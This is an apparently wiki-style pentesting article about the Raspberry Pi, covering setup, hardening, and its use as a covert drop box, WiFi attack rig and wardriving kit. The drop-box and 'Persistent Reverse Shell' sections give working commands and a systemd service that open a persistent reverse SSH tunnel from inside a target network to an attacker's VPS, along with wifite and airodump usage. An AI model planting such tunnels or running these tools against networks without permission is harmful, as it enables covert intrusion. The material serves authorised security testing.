Raspberry Pi

3 min readArticle

The Raspberry Pi is a low-cost, credit-card-sized single-board computer running Linux. For security professionals it's a versatile tool — dropped inside a target network for remote access, used as a portable pentesting platform, wardriving kit, or just a cheap always-on server at home. The Pi 4/5 has enough power to run serious tools.

Models Worth Knowing

Model	CPU	RAM	Notes
Pi Zero W	1GHz single	512MB	Ultra small, great for drop boxes
Pi Zero 2 W	1GHz quad	512MB	Better Zero, still tiny
Pi 4	1.8GHz quad	1-8GB	Main workhorse
Pi 5	2.4GHz quad	4-8GB	Latest, fastest
Pi 400	1.8GHz quad	4GB	Built into a keyboard

OS Options

Raspberry Pi OS (formerly Raspbian) — default Debian-based
Kali Linux for Pi — offensive security platform
Ubuntu Server — for headless server use
Diet Pi — minimal, fast boot, optimized

bash

# Flash an image
# Use Raspberry Pi Imager (from raspberrypi.com)
# Or with dd:
sudo dd if=kali-linux-arm64.img of=/dev/sdX bs=4M status=progress
sync

Initial Setup (Headless)

bash

# Enable SSH before first boot:
# In /boot partition, create empty file named 'ssh'
touch /Volumes/boot/ssh  # macOS
# or on Linux:
touch /media/user/boot/ssh

# Set WiFi credentials (wpa_supplicant.conf):
cat > /boot/wpa_supplicant.conf << 'EOF'
country=US
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1

network={
    ssid="YourWifi"
    psk="YourPassword"
}
EOF

# Then connect to Pi:
ssh [email protected]  # Default password: raspberry
# CHANGE THE DEFAULT PASSWORD IMMEDIATELY
passwd

Essential Setup

bash

# Update everything
sudo apt update && sudo apt upgrade -y

# Install useful tools
sudo apt install -y vim tmux nmap netdiscover aircrack-ng \
  net-tools wireless-tools curl wget git python3-pip

# Set timezone
sudo timedatectl set-timezone America/New_York

# Enable SSH permanently
sudo systemctl enable ssh

Pi as Drop Box (Remote Access)

The "drop inside target network" scenario. See raspberry-pi-remote-hacking-dropbox for the full setup, but the key components:

bash

# Reverse SSH tunnel — Pi connects to your VPS
# On Pi (add to crontab for persistence):
ssh -f -N -R 2222:localhost:22 [email protected] -o ServerAliveInterval=60

# Then from anywhere, SSH to VPS then to Pi:
ssh -p 2222 pi@localhost   # on your VPS

# Or use autossh for automatic reconnection:
sudo apt install autossh
autossh -M 0 -f -N -R 2222:localhost:22 [email protected] \
  -o ServerAliveInterval=60 -o ExitOnForwardFailure=yes

Pi as WiFi Hacking Platform

bash

# Install Kali on Pi, then add WiFi adapter
# USB Alfa AWUS036ACH works great with Pi

# Enable monitor mode
sudo airmon-ng start wlan1   # wlan0 = built-in, wlan1 = USB adapter

# Run wifite
sudo wifite

# Or run specific airodump
sudo airodump-ng wlan1mon

Pi as Wardriving Platform

bash

# Install Kismet
sudo apt install kismet gpsd

# Plug in USB GPS dongle
sudo gpsd /dev/ttyUSB0

# Start Kismet
sudo kismet -c wlan1

# Run headless, SSH in to monitor
# Logs saved to ~/

Persistent Reverse Shell (Pi Drop Box)

bash

# Create systemd service for reverse tunnel
sudo cat > /etc/systemd/system/reverse-tunnel.service << 'EOF'
[Unit]
Description=Reverse SSH tunnel
After=network.target

[Service]
User=pi
ExecStart=/usr/bin/autossh -M 0 -N -R 4444:localhost:22 [email protected] \
  -o ServerAliveInterval=60 -o StrictHostKeyChecking=no
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl enable reverse-tunnel
sudo systemctl start reverse-tunnel

Useful Pi Commands

bash

# Check CPU temperature (important for Pi 4/5 under load)
vcgencmd measure_temp

# Check power supply
vcgencmd get_throttled

# Available storage
df -h

# RAM usage
free -h

# Running processes
htop

# GPIO pin info
pinout   # requires wiringpi

Security Hardening (If Running Permanently)

bash

# Change default password
passwd

# Disable pi user (create a new account)
sudo adduser adamjoron
sudo usermod -aG sudo adamjoron

# SSH key auth only, disable password auth
sudo nano /etc/ssh/sshd_config
# Set: PasswordAuthentication no
# Set: PermitRootLogin no

# Enable UFW firewall
sudo apt install ufw
sudo ufw allow ssh
sudo ufw enable

Raspberry Pi

Models Worth Knowing

OS Options

Initial Setup (Headless)

Essential Setup

Pi as Drop Box (Remote Access)

Pi as WiFi Hacking Platform

Pi as Wardriving Platform

Persistent Reverse Shell (Pi Drop Box)

Useful Pi Commands

Security Hardening (If Running Permanently)

See Also